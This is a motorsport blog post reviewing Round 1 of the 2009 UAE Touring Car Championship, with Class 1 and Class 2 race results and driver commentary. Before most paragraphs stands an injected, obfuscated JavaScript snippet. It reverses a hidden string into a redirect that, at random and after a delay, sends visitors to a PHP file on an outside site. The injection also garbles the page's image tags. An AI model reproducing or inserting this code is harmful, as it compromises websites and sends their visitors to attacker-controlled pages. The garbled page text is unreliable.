$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston/phil/UAETCC%20GT%202009/rd1/UAETCC29.jpg” width=”728″ />
So after a long winded affair with the story behind the GT’s I thought it prudent to give you all a breather before throwing the Touring Car run through on you. So here goes…The Touring Car story of the day would have to be Khalid Mutawaa’s extremely impressive Class 1 win in his debut in the TAM/House of Portier SEAT – running away and hiding from John Simmonds’s DXB Racing SEAT is no mean feat, so massive respect for Khalid & team and massive respect as well for Mr. Simmonds honest acknowledgement of that, which speaks volumes about his own character as a racer.
$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston/phil/UAETCC%20GT%202009/rd1/article%20pics/UAETCC19.jpg” width=”728″ />
No doubt that the Touring Class 1 story is far from over though as neither House of Portier or DXB Racing are accustomed to not winning. It will therefore be extremely interesting to see how things unfold as these two very talented drivers and their respective teams, both running very well sorted cars, continue to do battle throughout the coming season.Click pics to read on….
$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston/phil/UAETCC%20GT%202009/rd1/article%20pics/UAETCC39.jpg” width=”728″ />
Not to forget Class 1 participant Mark Hannak though, who flew in from God-knows-where just before the race, hopped in his seemingly untouched-from-last-year Golf GTI and proceeded to do a great job of taking the pain to the buzzy Touring Class 2 crew from the get-go, no likely still suffering from a bit of jet lag.
$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston/phil/UAETCC%20GT%202009/rd1/article%20pics/UAETCC21.jpg” width=”728″ />
A very nice, tactical drive using his power advantage to hold the Class 2 hordes at bay from flag to flag seemed rather effortless although it remains to be seen what he has up his sleeve in terms of closing the gap on the much-quicker SEATs, not to mention dealing with the soon-to-arrive crankandpiston GTI piloted by our own Phil McGovern.
Class 2
$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston/phil/UAETCC%20GT%202009/rd1/UAETCC6.jpg” width=”728″ />
Touring Class 2 saw the strongest field of the day as usual as well as quite an upset win if we’re perfectly honest.
$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston/phil/UAETCC%20GT%202009/rd1/theshadow/UAETCC200929.jpg” width=”728″ />
Racing’s racing though so I have no personal reservations about seeing old friend Umair Khan emerge from the Class 2 chaos to take a well fought double victory with Aslam Moola and Saeed Al Muhairy in close pursuit, not much more than a car length each back.
$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston/phil/UAETCC%20GT%202009/rd1/UAETCC4.jpg” width=”728″ />
Very impressed by Aslam in his debut race and the way he managed to be aggressive without overdoing things at all, never more than a car length or two behind the rear bumper on Umair’s Lap57 Civic. Saeed Al Muhairy also very impressive, grabbing one of the “off the shelf” Performance Racing Team cars and guiding it way up the field into a solid third place slot.
$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston/phil/UAETCC%20GT%202009/rd1/UAETCC30.jpg” width=”728″ />
Some nice battles down the row as well between the younger Al Mutawaa and veteran Spencer Vanderpal, both of whom looked to be having a good old time out there and often running close enough together that telling the cars apart was tricky due to their similar orange and black liveries (a colour scheme which seems to be in fashion this season).
$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston/phil/UAETCC%20GT%202009/rd1/article%20pics/UAETCC121.jpg” width=”728″ />
It must be said though that a bad cloud of luck seemed to have attached itself to the monster Hondas of Performance Racing Team drivers Zlatko and Khaled, whose absence left a huge gaping void in the normally sizzling Class 2 grid.
$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston/phil/UAETCC%20GT%202009/rd1/UAETCC16.jpg” width=”728″ />
Their return to form is very highly anticipated indeed and I hope to see them out there in top form next round. Zlatko’s car in particular sounds incredibly awesome when revved up to 9000rpms! And Khaled’s car is enough of a package to make normal Hondas soil themselves.
Also missing from the pointy end of Class 2 was the monster Al Al Owais Lap 57 Honda from last year – no idea what the story is there but no doubt they’ll appear again out of thin air.
$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston/phil/UAETCC%20GT%202009/rd1/UAETCC21.jpg” width=”728″ />
Honorable mentions to the A2B Racing boys – not only Spencer’s solid run against Mohammed Al Mutawaa’s TAM/House of Portier Clio 197 Cup but Jason Okeefe’s close call with potential doom, which was averted by a wise move to retire early due to suspected overheating issues instead of blowing up a perfectly nice K20 Honda engine. A few relatively cheap fixes should have Jason annoying Spencer and Mohammed again in the next round.
$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston/phil/UAETCC%20GT%202009/rd1/theshadow/UAETCC200916.jpg” width=”728″ />
Closing thoughts:
It’s hard to believe that we’ve only seen a small sample of what’s to come so far. Round 1 was great in that we’ve already seen some very strong performances. Smart money says that it’s far too early to assume that any sort of stability in the rankings has been achieved yet though.
$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston/phil/UAETCC%20GT%202009/rd1/theshadow/UAETCC20094.jpg” width=”728″ />
The arrival of more cars on the grid in round 2 stands to shake things up all over again for one. And of course all the cars in round 1 just gained a big notch in the experience department and will all be looking to up their game next time out.
